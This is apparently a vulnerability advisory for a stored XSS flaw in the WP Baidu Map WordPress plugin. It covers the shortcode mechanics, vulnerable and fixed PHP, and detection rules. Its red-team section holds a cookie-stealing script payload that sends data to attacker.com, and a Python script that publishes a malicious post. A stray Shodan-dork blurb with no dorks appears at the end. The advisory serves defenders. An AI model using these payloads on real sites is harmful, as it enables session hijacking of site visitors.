CVE-2024-9886
Executive Summary
CVE-2024-9886 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Baidu Map, affecting all versions up to and including 1.2.2. The flaw resides in the baidu_map shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 6.4 (Medium), and no patch is currently available from the vendor. This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires contributor-level access
- User Interaction (UI): None (N)
- Scope (S): Changed (C) – the injected script can affect other components
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
- Base Score: 6.4 (Medium)
Threat Level: Medium. The vulnerability requires authenticated access, but contributor-level accounts are common in multi-author WordPress sites. Successful exploitation can lead to session hijacking, defacement, or phishing.
Deep Dive & Mechanics
The WP Baidu Map plugin registers a shortcode [baidu_map] that accepts attributes such as width, height, center, zoom, and markers. The plugin fails to sanitize or escape these attributes before rendering them in the page HTML. An attacker with contributor-level access can craft a post or page containing a malicious shortcode like:
[baidu_map width="100%" height="400" center="<script>alert('XSS')</script>"]
When the page is rendered, the unsanitized center attribute is injected directly into the HTML, causing the script to execute in the context of the victim's browser. The vulnerability is stored because the malicious shortcode is saved in the WordPress database and executed on every subsequent page load.
Vulnerable vs. Patched Code
Vulnerable Code (wp-baidu-map.php, version 1.2.2):
function baidu_map_shortcode($atts) {
$atts = shortcode_atts(array(
'width' => '100%',
'height' => '400',
'center' => '39.9042,116.4074',
'zoom' => '12',
'markers' => ''
), $atts);
$output = '<div id="baidu-map" style="width:' . $atts['width'] . ';height:' . $atts['height'] . ';" data-center="' . $atts['center'] . '" data-zoom="' . $atts['zoom'] . '" data-markers="' . $atts['markers'] . '"></div>';
return $output;
}
Patched Code (Hypothetical Fix):
function baidu_map_shortcode($atts) {
$atts = shortcode_atts(array(
'width' => '100%',
'height' => '400',
'center' => '39.9042,116.4074',
'zoom' => '12',
'markers' => ''
), $atts);
// Sanitize and escape each attribute
$safe_width = esc_attr($atts['width']);
$safe_height = esc_attr($atts['height']);
$safe_center = esc_attr($atts['center']);
$safe_zoom = esc_attr($atts['zoom']);
$safe_markers = esc_attr($atts['markers']);
$output = '<div id="baidu-map" style="width:' . $safe_width . ';height:' . $safe_height . ';" data-center="' . $safe_center . '" data-zoom="' . $safe_zoom . '" data-markers="' . $safe_markers . '"></div>';
return $output;
}
The fix uses esc_attr() to escape HTML attribute values, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Prerequisites: A WordPress site with the WP Baidu Map plugin (<=1.2.2) and a contributor-level account.
- Craft Payload: Create a post with the following shortcode:
[baidu_map center="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish: Save the post as a contributor (or higher role).
- Trigger: Any user visiting the post will execute the script, sending their cookies to the attacker's server.
Example Exploit (Python):
import requests
target_url = "https://victim.com/wp-admin/post-new.php"
session = requests.Session()
# Login as contributor
session.post("https://victim.com/wp-login.php", data={"log": "contributor", "pwd": "password"})
# Create malicious post
payload = '[baidu_map center="<script>alert(1)</script>"]'
data = {
"post_title": "Test",
"content": payload,
"post_status": "publish"
}
session.post(target_url, data=data)
Blue Team (Detection & Response)
- Monitor Shortcode Usage: Log all instances of
[baidu_map]shortcode usage, especially from contributor accounts. - Review Post Content: Regularly scan posts for suspicious shortcode attributes containing
<script>or event handlers. - Web Application Firewall (WAF): Deploy rules to block requests containing
<script>in shortcode attributes. - User Education: Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/wp-baidu-map/wp-baidu-map.php(version <= 1.2.2) - Shortcode Pattern:
[baidu_map ... center="<script>...</script>"] - HTTP Request: POST to
/wp-admin/post-new.phpwith content containing[baidu_mapand<script> - Log Entry: WordPress audit logs showing creation of posts with
baidu_mapshortcode from low-privilege users
Detection Engineering
YARA Rule
rule CVE_2024_9886_WP_Baidu_Map_XSS {
meta:
description = "Detects malicious shortcode attributes in WP Baidu Map plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2024-9886"
strings:
$shortcode = /\[baidu_map[^\]]*center\s*=\s*["'][^"']*<script[^>]*>/
condition:
$shortcode
}
Sigma Rule
title: CVE-2024-9886 WP Baidu Map Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of posts with malicious WP Baidu Map shortcode
author: Valters IT
date: 2025-04-17
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000
PostContent|contains: '[baidu_map'
PostContent|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9886 WP Baidu Map Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"[baidu_map"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the WP Baidu Map plugin until a patch is released.
- Workaround: If the plugin is essential, restrict contributor-level access to trusted users only.
- Long-term Fix: Apply input sanitization and output escaping to all shortcode attributes (see patched code example).
- Monitor: Watch for updates from the vendor or consider forking the plugin to apply the fix.
- Alternative: Use a different, actively maintained WordPress map plugin.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.